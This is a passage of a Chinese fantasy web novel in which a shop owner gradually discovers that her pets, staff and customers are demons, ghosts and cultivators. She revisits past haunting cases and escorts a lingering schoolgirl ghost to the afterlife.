“咪，你今晚住这里，和小橘隔离一下。”时愿在杂货铺给黑猫安排了个房间，放好猫粮和水就走了。 黑猫跳上窗台，看向白树生：“我把你吃了，她就只有我一个猫了。” 黑猫环视小院：“火殃，石鱼，银杏妖，僵尸，还有刚才那只假的狗，我都吃掉好了，这样她就只需要养我。” 黑猫的语气没有恶意，只是在陈述它得出的有利于它的结论。 它没有善恶观。 白树生感到恐惧：“你这样做，她会很讨厌你。” 火殃火光大增，明显被激怒了。 “好大的口气，它到底是什么东西啊？”陶蓦回看向千阑，“你怎么不在它的菜单里？” 千阑：“因为我对老板不重要。” 他也看不出来这只黑猫的根脚。 “猫，你说得对，我不希望她讨厌我。所以，我给你们一个机会，主动离开。”黑猫身后显现出恐怖的巨大的黑影，向四周蔓延，仿佛可以吞噬一切。 “否则，我帮你们离开。” “你没有资格逼别人离开。”苏烛从时愿家的三楼窗户跳下来，落在杂货铺的屋顶上，居高临下地看着黑猫，“不管用哪种方式，只要伤害了时愿身边的人，她都会远离你。她很敏锐，你绝对瞒不过她。” 苏烛跳到地面上：“饕餮，想留下来，就安分点。” 饕餮！白树生躲到苏烛身后，瑟瑟发抖。 这只黑猫居然是饕餮！这个世界上居然还有饕餮！难怪它胃口这么大，这么贪婪。 等等，等一等……杂货铺门口的垃圾桶，真的通往饕餮的嘴巴？ 整个院子都沉默了。 陶蓦回用手碰了碰千阑：“被饕餮吃了，能入轮回吗？” 千阑：“知识盲区。” “不要叫我饕餮，叫我咪。”饕餮语气认真，“这是她给我取的新名字。” 苏烛：“……” 能力很凶，又贪心又坏，但有点蠢萌是怎么回事。 苏烛想和它解释一下，想想还是算了。这种坏猫咪，等它自己发现吧。 苏烛：“饕餮，你的独占欲太强了，明明是最后来的。你讨厌我们，我们也讨厌你。但是，我们都喜欢时愿。我有一个对彼此都好，对时愿也有利的计划，需要你出力。” “你凭什么断定我是最后来的？你和她认识也不过二十年。”饕餮顿了顿，“你的计划，我有些兴趣，说来听听。” 苏烛：“你胃口这么大，整座青云山都不够你吃。让灵气流动起来，生生不息，是我们彼此的共识，对吧？” 饕餮：“没错。” 苏烛：“我的身体在山海秘境里，我马上就要回去了。我想打开一条连接人间和山海秘境的长期通道，你帮我一起撕开结界的裂缝。如果你同意，我们就立契，你需要承诺，共同维护秘境，不乱吃东西。” 第79章 深夜时分, 苏烛的魂魄站在床边，看着时愿熟睡的侧脸。 苏烛马上要离开了，这一去，要说服山海秘境的全部大妖和饕餮合作, 才能回来。 苏烛给小狗容器留下一缕灵力, 看着它重新“活”过来, 乖乖地走到门口，趴下。 小狗会代替他，继续陪着时愿。他不能让时愿再一次失去他了。 苏烛轻轻拂过时愿的头顶，在月光消失之前, 悄悄和她说再见。 时愿起床的时候, 看到小狗趴在房间门口, 它的双眼湿漉漉的，鼻子一抽一抽的, 看着可怜极了。 听说小狗流眼泪不是因为情绪, 只是生理原因, 可它看起来难过极了。 时愿抱着它哄了好一会儿，它才恢复精神。 今天要去蓬莱选分店铺面，家里的两只猫和一只狗都太黏人, 时愿只好开车带上它们。 到了学校后, 第三批研学课的学生们想陪时愿去逛校园, 齐主任嫌人多碍事, 把他们赶走了，让他们回去找各自的导师。 齐主任亲自带路, 领着时愿挨个看铺面。蓬莱大学大得离谱，校区里面有山有湖有大草坪有小树林，动植物都多, 所有建筑都相隔很远，看着不像学校，像森林公园或者植物园。 这么大的校区，路上居然没有校巴，也没看见其他车辆，学生们都走路去上课？会迟到吧。 等红灯的时候，时愿听到“咻咻”的声音，有什么东西“嗖”的一下从斑马线蹿了过去，她的目光追过去，什么都没看到。 猫？鸟？ 什么东西飞得这么快？ 齐主任的车就停在时愿旁边，看得清清楚楚，那是两个用轻功赶路的学生，手里还拿着两根油条呢。都这个时间了，飞再快也没用，肯定要迟到。 “我不行了。”赶路一号停了下来，扶着树干直喘气，“赶不上了，都是你，非要吃什么油条，等太久了。” “你不也想吃？芝园的油条可是最有名的！既然赶不上了，至少要吃上热乎的油条。”赶路二号打开油条咬了一大口，含糊不清地说，“刚才我看到姐姐了，姐姐在等红绿灯，她也看到我了。听说姐姐今天来选店铺，希望愿望杂货铺能开在离我们宿舍近的地方。” 在蓬莱，被称为“姐姐”的，只有一个人。 “你怎么不提醒我！”赶路一号踹了二号一脚。 他回头看，时愿的车早就不在原处了。 时愿看了几个铺面，最后选定了靠近市场和图书馆的一栋三层小洋房。这里距离校门很近，出去就有一个地铁站，出行方便。附近有一个宿舍区，人流量是几个铺面中最好的——这是齐主任的说法，时愿这一路上压根没见到人。 倒是时不时感觉有东西“嗖”地一下从附近穿过，肉眼又捕捉不到。 时愿都怀疑自己得飞蚊症了。 这栋小洋房有前后两个花园，久不住人，里里外外都荒废了。建筑主体保存得很好，结构特别合时愿的心意，修缮过后一定很惊艳。 学校给陶蓦回和千阑安排了临时宿舍，他们从今天开始，就住在这边了。分店装修还是交给简家慕，时愿给他发了照片和学校给的图纸，之后的工作，由小陶和他交接。 时愿闻到了咖啡的香气。 齐主任说：“有一栋房子出租出去开咖啡店了，很受学生欢迎，您要是感兴趣的话，我请你们过去喝一杯咖啡，咖啡店开业的时候给所有老师都发了免费的咖啡券和甜品券，我不爱喝咖啡，一张都没用过，真是太浪费了。” 时愿问陶蓦回和千阑去不去。 陶蓦回：“老板，我们不去了，想留在这边逛一逛。” 这家咖啡店的装潢很古典，咖啡的味道也很好，难怪受学生欢迎。 时愿还点了一份柠檬浮云卷，味道很清新，蛋糕体口感绵软，奶油甜而不腻，她吃到一半，想起齐主任给的钥匙还在包里。 时愿迅速收尾：“齐主任，我去给小陶送钥匙。谢谢你请客，也谢谢你陪我们挑铺面，你可以去忙自己的事情了。” “我不忙。”齐主任有些紧张，“时前辈，是这样的，校长今天回校，他希望请您在学校的西竹轩吃顿便饭，池老师已经同意出席了，您的意思是……？” 时愿上次来蓬莱，有点不愉快，齐主任想请她吃饭作为赔罪，被拒绝了，时至今日，齐主任还是有点小阴影。 这次是校长做东，要是时前辈拒绝了……好吧，相信校长也不敢说什么。 池叔叔也去。池叔叔一向不喜欢参加这种性质的聚餐，他愿意去，一定是因为她要来蓬莱开分店，而且学校不收房租，池叔叔不好拂了校长的面子。 时愿道：“我来请客吧。” “不用不用。”齐主任受宠若惊，“您愿意来蓬莱开店，是蓬莱的荣幸，怎么能让您请客呢。您先去找陶店长，我在这儿等您，一会儿给您带路。” 时愿给陶蓦回发了消息，没收到回复，她打算先回小洋房看看。 她刚起身，小狗和小猫们立刻跳下位置，跟在她身后。 回到小洋房，时愿看到门没有关。 小陶还在里面？ “牙齿又长出来了。” “昨天才拔过，怎么长得这么快？” “昨晚知道黑猫是饕餮后，我高度警戒，力量有点失控了，跟人类的内分泌紊乱差不多。”最近学了很多新词汇的小陶张开嘴巴，眼睛眨都不眨地生拔下一颗牙齿。 时愿透过没关严的窗户看到这一幕，瞳孔缩了一下，脑中瞬间闪过无数个问号：小陶的犬牙怎么这么长？她为什么能徒手拔下来，为什么不流血？什么叫“长得这么快”？小黑猫是饕餮？？小陶刚才说“人类”，难道她不是人类？？？ 这一会儿功夫，陶蓦回把另一边的长牙也拔下来了，熟练地装进一个透明盒子里，里面装着好多颗同样长度的牙齿。 千阑：“老板可能有办法让你的牙齿停止生长。” 陶蓦回：“这点小事不想麻烦老板，你也别去说。” 千阑捧着陶蓦回的脸，露出心疼的表情：“都怪饕餮昨晚威胁……” “梆梆！”黑猫敲了敲大门，强行打断他的话。 陶蓦回和千阑同时扭头，看到时愿，两人羞赧地拉开了点距离。 “老板。” 老板是什么时候过来的？他们完全没有察觉到她的气息，老板的能力真的太强了。 撞破两位员工偷偷搞“办公室恋情”，时愿本应很尴尬，可她现在顾不上尴尬。小洋房旁边有很多大树，但它的位置非常巧妙，室内光照很充足，陶蓦回站在屋子最阴暗的地方，全身上下除了脸，没有一点皮肤露在外面。 时愿曾经以为，陶蓦回是日光过敏。可现在回忆起来，陶蓦回对日光的惧怕远远超过日光过敏的程度，她看起来更像是…… 时愿看着她过度苍白的皮肤，和手里的牙齿盒子，答案呼之欲出。 时愿的手心变凉了，手臂上起了一层鸡皮疙瘩。她的世界观摇摇欲坠，可她表情镇定，看着和平时一样。 “老板？” “小陶，钥匙忘记给你了。”时愿把钥匙抛给陶蓦回，“校长要请吃饭，你们去吗？” 陶蓦回思考了下：“我们去。” 以后要经常和校方打交道，还是去正式打个招呼比较好。 去西竹轩的路上，时愿车开得很稳。尽管坐在副驾驶的黑猫可能是饕餮，坐在后排的员工可能是僵尸。 时愿的思路很清晰，从陶蓦回和千阑的对话和态度可以看出来，他们和那些来找她帮忙驱邪的人一样，认为她很厉害，可以解决他们遭遇的麻烦，所以很尊敬她。 陶蓦回和那些人唯一的区别就是，她不是人类，仅此而已。 时愿处理这些事情一向很有经验。 最好的办法就是，一如既往，不要露馅儿。 又是红绿灯。 时愿停车的时候，又看到有什么东西“嗖”地一下从斑马线蹿了过去。之前她以为是某种敏捷的动物，甚至怀疑自己得了飞蚊症，现在她的世界观变了，思路也拓宽了。 这飞来飞去的，不会是妖吧？ 车窗被敲了一下，时愿侧头，看到龙翻雪和吴思远站在外面。 “姐姐。”龙翻雪眼里都是笑意，“你去哪儿？” “西竹轩，校长请吃饭。你别在路上站着。” “学校里没有其他车，不碍事。”龙翻雪说，“姐姐，我也想去。” 时愿看向吴思远。 吴思远连连摆手：“我不去。”他可不敢和校长吃饭。 龙翻雪上副驾驶，饕餮不情不愿地挪了位置。 又有东西“嗖”地飞过斑马线，但这次不是一两个，是一大群。 这些模糊不清的影子移动速度越来越慢，并且接近时愿的车子，停在路边，时愿才看清楚，这群飞来飞去的“东西”，是蓬莱大学的学生。 “姐姐！” “姐姐姐姐！” 一个个熟悉的面孔和时愿热情地挥手打招呼。 时愿淡定地朝他们挥了挥手，等红灯转绿后，驱车离开。 不就是这所学校的学生会飞吗？ 小事情，毕竟，她的世界观已经没什么可崩塌的了_(:з」∠)_ 旁边的车辆里，齐主任的心里酸溜溜的。 “他们怎么不跟我打招呼？” 第80章 这是时愿第二次来西竹轩, 她的心情和上一次截然不同。 上一次是来享受美食的，这一次是来演戏的。 蓬莱的校长在餐厅门口等候时愿，微笑着伸出手：“时老板，久闻大名, 今天终于见面了。” 校长看着约莫四十岁, 五官没有什么记忆点, 是那种混入人海后能立刻消失的大众脸。 时愿和他握了握手：“校长好，你是长辈，和池叔叔一样叫我名字就好。” 说罢，她和旁边的池浔之及其他老师打招呼。龙翻雪也跟着她向众人问好。 校长不动声色地看向守在时愿身边的黑猫, 不曾想黑猫也在凝视他, 这股不加掩饰的凶兽气息, 让校长出了一身冷汗。 “我还是称呼你为时老师吧，时老师, 我们先进店里。” 校长订了包厢, 时愿走在他身边, 一路回头率百分百。 落座后，时愿意识到，这一桌只有自己是普通人。 蓬莱大学的学生用轻功赶路, 在这里上学的龙翻雪, 在这里工作的池叔叔、齐主任、吕老师……以及这位平平无奇的校长, 身份都不简单。至于是什么身份, 时愿现在掌握的信息太少了，还不能断定。 龙叔和锦姨也有一定概率不是普通人, 至少是知情者。 “时老师，等装修方案定下来，学校会请专属施工队来施工, 大约一周就能完工。”校长顿了顿，不动声色地观察时愿的神情，用试探的语气说，“学校盼望着愿望杂货铺能早日开业，以后，全校师生就能在校园里买到趁手的文具了。” 换作从前，时愿听到这番话，肯定不会多想。她曾经以为，蓬莱大学向她抛出橄榄枝，只是因为学校太壕，且尊重学生的意见。 现在不一样了，这样一所学校，这样一群学生，他们需要的绝对不是满大街都有的文具。 他们喜爱愿望杂货铺，一定是因为在杂货铺买到了他们需要的“文具”。 从前不在意的古怪客人一个接着一个浮现在时愿的脑海中。 初次见到就读于蓬莱大学的秦暮雨，是在隔壁文具店。她忽视老板，一边乱翻文具店的东西，一边自言自语，要找“墨”。时愿后来和她接触了几次，小姑娘很讲礼貌，和那天判若两人。 来上研学课的时候，吕老师还买了一大箱同款墨水，把店里的库存都清空了。次日，吕老师和她说了很多莫名其妙的话，说在店里买的花洒是神器，她是当代最伟大的…… 最伟大的什么来着？ 时愿认真回忆，终于想起来了，他说：“时前辈，您是当代最伟大的灵器师！” 灵器，是以灵力驱动的器具，灵师用以驱邪，修行者用来捉妖、炼丹、制作傀儡等等，又称之为法宝。 校长，或者说在座的所有人，都认为她可以提供灵器。 时愿想明白后，没有正面回答：“多谢学校对杂货铺的支持。” 其一，她不清楚他们买到的灵器是怎么来的，店里还有没有其他灵器。 其二，她从未答应过出售灵器，合同上也没写，那是另外的价钱。 都是千年的狐狸，校长没有再继续口头试探，他取出一坛酒：“这是蓬莱的珍藏，灵枫酿。时老师，喝一杯吗？” 时愿实话实说：“我等会儿开车，不喝酒。” 校长点点头：“是我疏忽了，那留着给你带回去。” 数百年前，枫隐秘境下了一场大雪，当时的校长取梅上雪酿了几坛酒，埋在枫隐秘境里，直至今日，这是最后一坛了。 这是仙门最有名的酒，被称为液体灵气，价值连城。 时愿不知道这酒的来历，实诚道：“不用，你们喝吧。” 时愿不喝，其他人哪舍得开这坛酒？校长将酒收起来，心中发愁。这位新守枫软硬不吃，恐怕搬一座金山过来，也打动不了她。 被满桌大佬用小心翼翼的态度对待，时愿心里也有一点紧张。 万一被他们知道，她只是个普通人，会发生什么事？ 时愿不想知道结果，只好拿稳他们递过来的人设剧本，装成一名话少深沉的高手。 公事聊完了，校长也不敢让时愿陪他聊天，还好有龙翻雪活跃气氛，池浔之和时愿也说得上话，气氛还算融洽。 时愿要收回之前的话，吃饭的时候大家都很专心，这次过来，她也享受到美食了。 西竹轩的秃黄油真好吃，要是顺利，以后会经常来这家餐厅吃饭，不知道他们收不收食材？ 回到家，时愿独自待在房间里，才真正放松下来。 她趴在床上放空了一会儿，头脑变得更加清醒。 相比自己的处境，她现在更担心另一件事—— 从前来找她帮忙的那些人，是真的撞邪了吗？尽管那些事件都被解决了，事主也很满意，甚至对她感恩戴德。 可时愿想起来，还是感到后怕。万一那些灵异事件是真的，万一她没处理到位，留下后患怎么办？ 时愿从床上爬起来，在本子上一一罗列出她处理过的灵异事件。 她决定去回访一遍，搞清楚事情真相。 首先，从罗婶家开始。 罗婶家的菜园和鸡鸭舍的门坏了，门口的灯一到晚上就闪，罗婶觉得是家里闹东西。时愿去帮忙的时候发现，是罗婶的公公——石爷爷，不想家人吃他一手养大的大鹅，所以故意装神弄鬼闹脾气。经过时愿的调解，石爷爷和家人和解了。 时愿回忆细节，石爷爷当时摔了一跤，身上的衣服都是泥污，石爷爷还要求罗婶给他买一套衣服，罗婶同意了。 为了这件事，罗婶还请时愿到家里吃了顿饭。 这件事怎么看都没有疑点…… 笔尖一顿，时愿还真想起了一个疑点。 事情解决之后，周梦鹤找上门来，说她是神棍，后来他被叶幽尘教训了，道歉的时候还不小心跪在她面前，导致流言满天飞。 周梦鹤是灵师，据说在这一行很有名气，罗婶一开始是通过中间人联系他去处理。 时愿和叶幽尘是老熟人了，如果这个世界真的有鬼怪，那叶幽尘绝对有真才实学。 时愿联系了周梦鹤，以委托事件归档为由，让他具体说说罗婶家向他求助的情况。 周梦鹤相当崇拜时愿，不疑有他，马上把自己记得的事都说了。 “罗婶托中间人联系到我，说她家的菜园门和鸡鸭舍门总是推不开，就像有人在里面堵住了，不肯让他们进去，门口的灯一到晚上就闪，而且只在他丈夫出门的时候闪。罗婶怀疑是去世不久的公公有什么不满，请我去看一看。” 时愿头皮发麻。 石爷爷死了，那她当时看到的是…… 要是以罗婶的视角打开，她岂不是在和空气说话？罗婶当时一定很害怕。 时愿给奶奶打了个电话。 “奶奶，隔壁家的石爷爷，你知道他的全名吗？” 奶奶说了个名字：“怎么突然想起问这个？” “没什么。”时愿说，“奶奶，我明天回家，顺便给你买包米回去。” 挂了电话，时愿人都麻了。 时愿记得这个名字，她去罗婶家吃饭的时候，看到了刻着这个名字的牌位，那时她完全没往石爷爷身上想，以为那是石家某位祖宗的牌位。 她那会儿没看见石爷爷，还问石爷爷吃饭没，罗婶说吃了…… 原来石爷爷吃的是……香火啊…… 时愿是第一次通过他人视角，去了解事件的全貌。经过这件事，她确定了，她可以看到鬼魂，而且分不清人和鬼。 时愿终于知道，为什么从小到大，她去到哪里，都会留下和玄学有关的传说了。原来，她真的在无意之中，解决过很多起灵异事件。 翌日清晨，时愿回村里，先帮奶奶干了点活，然后去了趟罗婶家。 罗婶对她一如既往地热情，邀请她进家里喝茶。 时愿开门见山道：“罗婶，那件事过去有一阵了，最近家里没什么事吧？” 罗婶：“都好都好，这都多亏了你呀！” 时愿：“那只大鹅呢？可以带我去看看吗？” 罗婶的眼睛亮了起来，茶也不喝了，立刻带时愿去看大鹅。 小愿真是料事如神！竟然知道，他们家最近唯一的苦恼就是不知道怎么对待那只大鹅！ 大鹅没有作怪，也没给他们添什么麻烦，就是，看起来快成精了。 大鹅住着豪华单间，时愿过去的时候，它像鹤一样，单脚站立，张开翅膀，似乎在修炼。 说实在的，像张表情包。 时愿没忍住，笑出声了。大鹅睁开眼睛，看到时愿，激动地飞奔过来，伸长脖子叫唤。它的叫声和普通大鹅不同，怎么听怎么像在说人话：带！鹅！走！ 时愿：“罗婶，我能买下这只鹅吗？” “不用买，送给你了！”解决这个大麻烦，罗婶都想烧鞭炮欢送时愿了！ 石叔知道后，也特别高兴，还要留时愿吃饭。 时愿拒绝了，获得罗婶石叔的意见后，时愿里里外外检查了一遍他们家，确定没有隐患后，给石爷爷上了一炷香。 接下来，她要把大鹅带回杂货铺，然后去一趟鱼塘。《 》 80-87 第81章 大鹅站在电动车的脚踏板上, 跟着时愿回家，一路上十分得意，像只宠物似的把头搁在时愿的腿上。 开了灵智的大鹅看着沿途的风景，畅想搬家后的美好未来。新主人是个厉害人物, 可以指点它修炼, 它也会加倍努力, 争取早日成为主人的左膀右臂。 定一个小目标，三百年化形，一千年成为一方大妖！ 回到杂货铺，隔壁文具店老板看到大鹅, 口水都要流出来了：“小愿, 这大肥鹅是你奶奶养的, 还是你买的啊？你打算怎么吃？红烧？酸菜炖大鹅？卤鹅？还是拿去让人帮忙做成烧鹅？你要是不会做，可以给我, 我来帮你……” 大鹅气得冲过去要叨他, 被时愿拉住了。 时愿说：“这是罗婶家的鹅, 放在我这里养一阵，不吃。” 文叔很遗憾：“那等罗婶想吃的时候……” 时愿差点拉不住暴怒的大鹅，连忙把它塞进杂货铺。 怒气冲冲的大鹅看到店里的黑猫和橘猫, 瞬间冷静了, 往后退了一步, 一步, 又一步……最后把自己严丝合缝地贴在了墙壁上。 这只黑猫看它的眼神，和刚才那个人类一模一样。 没人告诉鹅, 这个家有这么凶的大妖啊！难道新主人把鹅带回家，是用来当妖饲料的吗…… “这是我们店的新成员，你们要好好相处。”时愿的目光落在饕餮身上, “我们店禁止吃同事。” 黑猫心虚地挪开目光，假装很忙地舔起了爪子。 “大鹅，你留在店里熟悉环境，不要乱跑。小黑，跟我出去一趟。” 时愿敢把饕餮和小橘、小金毛一起留在店里，因为在她知道真相之前，它们可以和平相处。饕餮为了留在杂货铺，或者忌惮她，没有去伤害它们。她要是走到哪儿都把饕餮带在身边，就有点反常了，很容易露馅儿。 但饕餮现在对大鹅很有食欲，还是暂时分开它们比较好。 去鱼塘之前，时愿联系了鱼塘老板林叔和大耳叔，两人同意在鱼塘见面。 鱼塘事件，时愿记得很清楚。大耳叔自述，他去鱼塘钓鱼，被一股大力拖下鱼塘，在水里被长长的手臂缠住腰部，拽下池塘深处。被林叔救上岸后，他的小腿受伤流血，自述像被指甲不停地抓挠。 大耳叔认为鱼塘有东西作祟，来求助时愿，时愿给他撒了一层止血药粉后，他说被抓挠的感觉消失了。后又用柚子叶替他扫去晦气。 林叔一开始坚信没有鬼怪作祟，深夜突然给时愿打电话，说他做了个噩梦，耳边有个声音不停地说话，让他到海里去，醒来的时候，嘴巴旁边长了一长串红肿水泡。 时愿教他把噩梦送走，给了他一个除螨草药包压在床底，让他自己去药店买药膏涂伤口，没两天，林叔脸上的伤就痊愈了。 和罗婶家的事不一样，时愿没有亲眼见到鱼塘的鬼怪，无法判断这是不是灵异事件，这次过来，主要是想排查一下有没有留下安全隐患。 鱼塘没有异常，两位叔叔也说最近一切如常，没有再遇到怪事。 经过这件事，林叔心里还是有点后怕，在鱼塘养了很多狗狗壮胆，时愿给他的草药包一直压在床底，都潮湿了也不敢扔。 时愿猜到会是这个情况，特意给他带了一盒新的，让他定时换。 看着池塘上自己的倒影，时愿感到很陌生。她分不清楚，过去遇到的人里面，哪些是人，哪些是鬼。 她或许无意中干预过很多事，只是自己不知道。 她的记忆里，有一半不属于这个世界。她往回走，不知道哪一步会踏空。 可是她必须往回走。 “大耳叔，说一说你听过的，关于我的传闻吧。” 大耳叔不知道时愿为什么突然想起问这个，总之时愿一定有她的道理。 “你小学的时候……” 时愿：“说今年的。” 大耳叔：“今年，你最有名的就是在店门口被周大师跪谢了。我就是听说了这件事，才去找你救命。” “除了这件事呢？” “福湾公寓！”林叔说，“这是我从别人那里听来的，听说时愿大师把路医生的房子卖出去了，买了附近的人都搬回去住了，他们可感激你了！” 大耳叔：“哪个路医生？” “年纪轻轻，因为突发疾病，摔死在家里的那位医生。”林叔说，“听说是紫荆镇的……” “小愿，你怎么了？”大耳叔问，“哪里不舒服吗，你的脸色看起来不太好。” “没事。两位叔叔，这边没什么问题，我先回去了，有什么事情再联系我吧。” 时愿转身的瞬间，眼眶红了，插在兜里的手握成了拳头。 路有萤那天有很多古怪的地方，她都没多想，她什么都没看出来。 送路有萤回家那天，夕阳很好，路有萤说，要是能回到从前，一定会问她，愿不愿意和她做朋友。 这段时间两人没有联系，时愿以为，这是因为路有萤刚辞职回家，身体也不好，有太多事情要忙。原来，那句话的意思是，她们已经没有机会再做朋友了。 时愿在不知情的情况下，和她见了最后一面。 时愿开车去路有萤家。 和上次一样的时间，季节变了，沿途的水稻全都收割完了，总觉得有些荒凉。 在路有萤家，时愿见到了她的遗照和灵位。 时愿给她上香，路有萤的妈妈在旁边湿了眼眶。 “阿萤经常提起你，初中的时候，她被困在天台，你救了她，她记了很多年。” 时愿：“她和我说过，其实我没做什么，只是路过打开了门。” 路妈妈摇了摇头：“我们也是过了很久才知道，初中那会儿她被鬼缠上了，学校的人以为她在撒谎，她想给我们打电话又打不通，那孩子，那时候真的一点办法都没有，被鬼困在天台的时候，她一定很害怕。对你来说，只是随手一帮，对阿萤来说，那就是记一辈子的恩情。” 路有萤被困天台，也和鬼魂有关？ 时愿仔细回忆，当时没有在天台看到其他“人”。 过了这么多年，那个鬼魂还在学校里吗？ 当晚，时愿联系了高中的班主任，想申请一个校友返校通行证。 老师很快就帮她办妥了，但希望她回校的时候，能给高一的美术生示范一幅水粉画。 回校当天，时愿示范完就跑到了初中部，去当年出事的那栋教学楼。 上课时间，学生都在教室里，时愿一路畅通无阻上到楼顶。 天台门上着锁，时愿准备找保安帮忙，门锁喀嚓一声自动打开了。 时愿推开门，背后突然冷飕飕的，肩膀上搭上来一只手。时愿想回头，身后响起一个声音：“不要回头。” “时愿，你是来驱除我的吗？” “你知道我的名字。” “当然知道，我一直看着你，看了你整整六年。你骂我是欺负人的垃圾，我那时候没有意识，只是本能地想缠着温暖的活人取暖。我后来听你的话，没有再缠过别人，我一直在等你，你为什么不回来看我？” 时愿听着，发现这人的声音有点熟悉。她再次回头，这次被捂着眼睛按在墙上。 “我说了，不要回……啊！”这人惨叫一声，被迫松开时愿。 时愿睁开眼睛，看到一个女生捂着手，怨恨地看着她。 女生看起来和其他学生没什么不同，但十几度的天气，她穿着夏季校服，细心一点还可以发现，她的鞋子有斑斑点点的血迹。 女生松开手，她的手臂被挠破了，没有血迹，伤口边缘有些透明。 饕餮出现在时愿面前，做出攻击状态。 “你养的猫很凶。”女生弯起嘴角，“你要让它吃掉我吗？” 她一笑，时愿就认出她了。时愿在这里上学的时候，经常在校园里碰见她。时愿写生的时候，她会待在旁边看，大课间摸鱼的时候，也会在走廊里碰到，她总是一个人，总是笑眯眯的，偶尔会主动和时愿说话。 时愿问过她的名字和班级，她没有回答，时愿就没问了。 印象最深的是，高考前的某个晚上，女生问时愿，大学毕业后回学校当老师好不好。 时愿说没有这个打算。 女生跟在时愿身后走了很久，一直劝她回学校当老师，她只好再认认真真地回答，不会回来当老师。 女生很难过地说，可是我只有你这一个朋友。 时愿以为，女生打算毕业回来当老师，希望在未来和她成为同事。 这其实很奇怪，因为她们的交情并不深。说话的时候，一个篮球滚过来，时愿捡起球，看到苏烛在和自己招手，还个球的功夫，女生就不见了。 现在想起来，时愿才明白，当年是怎么一回事。 救了路有萤后，时愿被女鬼缠上了。 “我不会让它吃你，跟我走吧。”时愿打开背包，里面画满了符咒，“我带你去转世。” 女生问：“你知道是我欺负路有萤，不讨厌我吗？” “你说那时候你没有意识，我相信你。另外，有萤已经去世了，如果你有机会在另一个世界碰到她，再去向她道歉吧，我没有资格代替她原谅你。” 一阵阴风拂过，时愿看到女生变成一团黑雾，钻进背包。 背包很重，时愿拉上拉链，心里也跟着一沉。 时愿锁上天台门，离校后，在车里坐了很久。 背包里面的符咒，是她亲手画的，在容器上画上这些符，就可以用来运送鬼魂。回到杂货铺，她会烧纸召唤黑白无常，把鬼魂送走。 这些手段，都是外婆言传身教—— 作者有话说：故事在收尾啦，预计下个月完结 第82章 [愿望杂货铺]：吴雨同学, 上次你向我咨询过锦绣市某村落凶宅导致的问题，我给出了解决方案，后续如何了？ [吴雨]：大神！ [吴雨]：膜拜大神jpg [吴雨]：没有主动汇报后续，是我的错！请大神原谅我！ [吴雨]：咸鱼跪地jpg [吴雨]：大神给的解决办法行之有效, 教授很感激您, 那辆车不仅摆脱了危险, 还被周教授用剩下的捉拿符改成了移动“囚车”，大大提升了外出调研的安全系数！学校为小茉莉安排了心理辅导，她现在心理状态很健康，还说以后也要做灵师。 [愿望杂货铺]：你之前说想退学, 现在适应了吗？ [吴雨]：明逸哥和叶先生教了我很多逃脱和保命的灵师手段, 和家里人也深入地谈了几次, 我现在没那么排斥了，渐渐也找到了使命感, 可能因为我的身体里流淌着灵师的血液吧。 [吴雨]：我刚才问过周教授了, 他同意我把上次事件的报告和论文发给您, 您请过目！ [吴雨]：这段时间我参与了几个调查，多亏了您送给我的伞，才能全身而退。周教授想问问您, 学院能不能向您购买一些同规格的灵器呢？ 时愿打开吴雨发来的报告和论文, 这些都是保密文件, 她算是学校求助的专家, 所以有资格查看。 报告上把事件的来龙去脉写得明明白白，省去时愿去现场调查的麻烦。 原来, 锦绣大学的这个专业，是真的在培养专门人才，难怪吴雨被调剂后, 崩溃得想退学。 时愿往上翻了一下聊天记录，目光落在“明逸”两个字上。凶宅事件，明逸确实参与了，时愿之前以为他是凑巧碰上，才伸出援手。原来他也是灵师，摆渡人事务所真的只是一个钓鱼爱好者组织吗？ 如果不是，那他们的老东家钓鱼协会……不会是灵师协会吧？ 至于吴雨提到的伞，应该是初相识时，她赠送的手绘伞。 杂货铺的灵器来源，时愿还没搞清楚，她告诉吴雨，最近很忙碌，忙完再给他答复。 灵异事件回访暂时告一段落，杂货铺翻新即将完成，分店也快开业了，到时候，时愿要过去坐镇一段时间，所以总店需要聘请一名员工。 店里这个情况，肯定不能聘请普通人。时愿想了一圈，没有找到合适的人选，要不让饕餮化成人形？ 时愿想象了一下那个画面，饕餮站在门口欢迎顾客：“你好，请进店看看……你看起来挺好吃的，让我浅尝一下，啊呜——” 不行不行，绝对不行。 时愿放弃这个方案，揉搓了一会儿小金毛，看着虚掩的客房门，突然发现一件事，小金毛以前很喜欢溜进那间客房，蹲在椅子上面，看向窗外。最近，它一次都没去过。 时愿有点好奇原因，推开了客房门。她坐在窗前，往外看。 这里可以看到杂货铺的院子，鱼池旁边的那盏灯笼特别亮，时愿看到银杏叶在风中飞舞，像一条明黄的飘带，小橘猫在追逐叶子。 这画面太治愈了，时愿笑着打开手机。拍着拍着，她看到叶子“飘带”变成一张毯子，把小橘猫托了起来。 “？”时愿脸上的笑容凝固了。 这绝对不是风可以做到的事，是饕餮干的？时愿很快就否定了这个猜测，饕餮从来不陪同事玩。 窗外的叶子越飞越高，她听到一个温柔的女声说：“树生，明日是你的二百六十岁生辰，你想要什么生辰礼？” 小橘猫的嘴巴一张一合，说的竟然是人话：“又到我的生辰了吗？过太多次已经不想过了。我不要生辰礼，只是有个心愿，希望店主能听到我的心愿～” 时愿本来打算走，听到这儿，又留下了。 银杏叶散发出微弱的光芒：“什么心愿？” 小橘猫：“厨房已经修好了，我希望小周能再来借用厨房的法阵驱邪，我已经好～～久没有加餐了！” 女声笑了笑：“这个不急，小周肯定要来请店主帮忙，但是，你能抢得过饕餮吗？” 小橘猫不和叶子玩了，在地上打滚：“希望到时候店主能管管它！” 叶子组成一只手掌，摸了摸小橘猫的脑袋：“喊这么大声，饕餮会听到哦。” 小橘猫：“它听到了也不会出来，它很听店主的话，店主不在，它连一步都不会踏出房间。” “你是故意说给店主听的。” “嘿嘿，被你识破啦！” 时愿：“……” 她们知道她在这里？还是，她们认为，在杂货铺里的一言一行都会被她知道？ 信息量太大了。 店门口的银杏树会说话。 她收养的小橘猫叫“树生”，明天要过260岁生日。 “树生”这个名字很特别，这个温柔的女声也很有特点，时愿只听过一次，但印象深刻，她很快就想起了那个来为重病姐姐买荔枝汽水的小女孩。 那件事情过后没多久，门口就种了一棵银杏树，她收留了小橘猫。时愿用银杏叶子做的书签很风铃很受顾客欢迎，顾客们称它有神奇功能：驱邪、庇护小动物、助眠……露营农场的老板收集了一大堆，在台风来临时，农场几乎没有损失。 对了，买汽水的时候，树生给过她一袋奇怪的硬币，她们都是妖，那些大概是妖怪之间流通的硬币吧。 小周指的应该是周怀瑾，他借用厨房，不是为了料理钓上来的鱼，是用里面的法阵驱邪。 